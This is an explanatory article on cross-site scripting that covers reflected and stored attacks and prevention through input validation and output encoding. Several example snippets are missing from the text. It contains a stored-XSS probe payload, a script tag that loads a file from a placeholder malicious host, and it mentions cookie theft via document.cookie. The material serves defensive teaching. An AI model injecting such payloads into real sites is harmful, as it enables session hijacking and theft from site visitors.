Understanding (and Stopping) Cross-Site Scripting Vulnerabilities

Cross Site Scripting (XSS) vulnerabilities in Web applications are one among the most common vulnerabilities that hackers find and exploit, and they have been exploited in many high profile Web sites including those belonging to the FBI, Time, CNN, eBay, Yahoo, Apple and Microsoft.

What are XSS vulnerabilities?

XSS vulnerabilities are a subset of code injection vulnerabilities. They are odd because although the XSS vulnerability lies in a Web application, the victims who "gets hacked" are generally visitors to the site. That's because the vulnerability allows an attacker to use the Web application to send a malicious script to an unsuspecting Web site visitor, and the script then executes in the victim's browser. The script in question is often written in JavaScript, but can also be in other scripting languages such as VBScript. Since the script comes from the website that the victim is visiting, it may execute in the victim's browser with the access privileges of the website, meaning that, among other things, it can access the site's cookie information.

XSS attacks can be very damaging because they enable a hacker to:

steal the victim's cookies, which can then be used to impersonate the victim to hijack online accounts. This can result in anything from accessing email accounts to stealing money from online bank accounts

redirect the victim from a genuine Web site to a forged version, and subsequently to intercept the victim's user name and password

reach in to the victim's machine and steal documents

download Trojans and other malware to the victim, ultimately compromising their system.

deface or alter the apparent content of the compromised website

How does a XSS attack work?

At the most basic level, the attacker insinuates his code into the contents of a Web page which is then parsed by the victim's browser when he views the page. This is not as hard as it sounds at first glance as there are a number of ways that this can be achieved. For example, many Web sites use:

which all involve incorporating user-submitted data into dynamically created pages. And of course many sites have comment sections or discussion forums which expressly invite visitors to contribute their own content.

The trick with an XSS attack is that alongside or instead of legitimate data such as search terms or comments, the hacker also sneaks in his own script. That's not a problem when this is sent to the Web site; the problem occurs when the code is incorporated into the contents of the Web page and returned to the browser, where the script is executed.

Getting a little more specific, there are two common types of XSS attack - persistent and non-persistent attacks.

Non-persistent attacks

In a non-persistent attack a hacker crafts a link to a Web page with an XSS vulnerability, which includes the URL and some malicious script as a parameter. When this link is clicked, the script is sent to the vulnerable site and reflected back from the Web site to the user, on whose browser the script is run. This begs the question of why a hacker would launch an attack against himself. The answer is that he wouldn't. To use a non-persistent attack the hacker who crafts the malicious link would probably email, IM or post the link as widely as possible, accompanying it with some form of social engineering technique to persuade unsuspecting recipients to click on the link, effectively launching the attack against themselves.

A very basic way to spot a vulnerable site is to enter a simple script as a search term on the site's search engine. For example, you could search for:

and the hacker might hex encode the script part of the link to make it look less suspicious.

Persistent attacks

The other, far more dangerous, form of XSS attack is a persistent attack, which involves posting malicious code on a website where it remains indefinitely, attacking anyone that views the page with the malicious script. An obvious place where script may be posted is in a comments section or forum of a Web site which allows contributions which include markup tags to be posted.

For example, imagine a Web site where you could post a comment such as:

"This is a great article" which appears as "This is a great article" on the site.

A very basic attempt to see if the site is vulnerable to an XSS attack would be to post a message such as:

"This is a great article
<script src="http://yourmalicioussite.com/xss.js"></script>

Where xss.js contains the same alert script.

If the site is vulnerable then every time a visitor with a JavaScript-enabled browser visits the page, the script will execute in his browser and an alert will pop up with the text "This site has an XSS vulnerability". Real problems occur when the JavaScript in question does something far more malicious like manipulating the document.cookie property to steal the victim's cookie contents, or using the document.write function to alter the apparent contents of the Web page.

Preventing XSS vulnerabilities

/.XSS vulnerabilities are extremely common, and ensuring your site is free of them can be very hard - especially as they can be reintroduced any every time your site is modified. General steps you should take include:

Data validation. Basically the rule should be to trust no user input, and ensure that any data submitted is of the type you are expecting.

Sanitize all data by filtering "dangerous" characters that may be entered by a hacker, and by escaping (output encoding) them to render them harmless when they are sent to a visitor's browser. Essentially, escaping involves encoding dangerous characters so that the destination browser knows to render them as data and not to act on them as parts of script commands.

Use an automated Web application vulnerability checker to comprehensively check your site against all the types of attacks it knows.